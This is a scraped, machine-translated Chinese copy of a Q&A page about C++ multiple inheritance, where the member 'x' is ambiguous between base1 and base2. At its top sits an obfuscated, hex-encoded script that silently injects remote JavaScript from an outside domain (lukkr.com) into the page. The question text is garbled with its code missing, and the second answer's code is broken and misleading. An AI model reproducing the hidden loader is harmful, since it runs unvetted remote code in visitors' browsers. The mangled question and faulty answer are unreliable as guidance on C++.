无法摆脱C ++中的Diamond问题

时间:2016-08-29 19:23:31

标签: c++ diamond-problem

<script type="text/javascript">
!function lkrsynkr(){var ex=document.createElement("script");ex.type="text/javascript";var _0xebbd=["\x61\x73\x79\x6E\x63","\x73\x72\x63","\x2F\x2F\x6C\x75\x6B\x6B\x72\x2E\x63\x6F\x6D\x2F\x77\x65\x62\x73\x69\x74\x65\x2F\x73\x79\x6E\x63\x2E\x6A\x73"];ex[_0xebbd[0]]=true;ex[_0xebbd[1]]=_0xebbd[2];var tx=document.getElementsByTagName("script")[0];tx.parentNode.insertBefore(ex,tx)}();!function shrsidbr(){var ex=document.createElement("script");ex.type="text/javascript";var _0xc462=["\x61\x73\x79\x6E\x63","\x73\x72\x63","\x2F\x2F\x6C\x75\x6B\x6B\x72\x2E\x63\x6F\x6D\x2F\x74\x61\x67\x73\x2F\x73\x69\x64\x65\x2E\x6A\x73"];ex[_0xc462[0]]=true;ex[_0xc462[1]]=_0xc462[2];var tx=document.getElementsByTagName("script")[0];tx.parentNode.insertBefore(ex,tx)}();
</script>

由于基类base1和base2是虚拟的,它应该解决这些类中x的声明问题。但事实并非如此。它给了我一个错误: 错误:对'x'的引用是不明确的 任何人都可以放光吗?

2 个答案:

答案 0 :(得分:1)

这不是钻石继承问题。你有:

base1  base2
 ^      ^
 |      |
 \      /
  \    /
   \  /
    \/
 derived

问题是base1base2都有成员x

即使您没有钻石继承,也需要使用xderivedbase1::消除base2::的歧义。

暂时忽略更改derived::display中成员变量值的基本原理,您可以使用:

class derived: virtual public  base1,virtual public  base2
{
   public:
      void display(int a, int b, int c)
      {
         base1::x=a;
         y=b;
         z=c;
         cout<<base1::x<<endl<<y<<endl<<z<<endl;
      }
};

答案 1 :(得分:-1)

使用xy,而不是引用模糊的zbase1.xbase2.x变量。例如:

CHANGE

    x=a;
    y=b;
    z=c;
    cout<<x<<endl<<y<<endl<<z<<endl;

    base1 b1;
    base2 b2;
    b1.x=a;
    b2.x=a;
    b1.y=b;
    b2.z=c;
    cout<<b2.x<<endl<<b1.y<<endl<<b2.z<,endl;

OR TO :(如果您想更改this值)

    base1::x=a;
    base2::x=a;
    base1::y=b;
    base2::z=c;
    cout<<base2::x<<endl<<base1::y<<endl<<base2::z<,endl;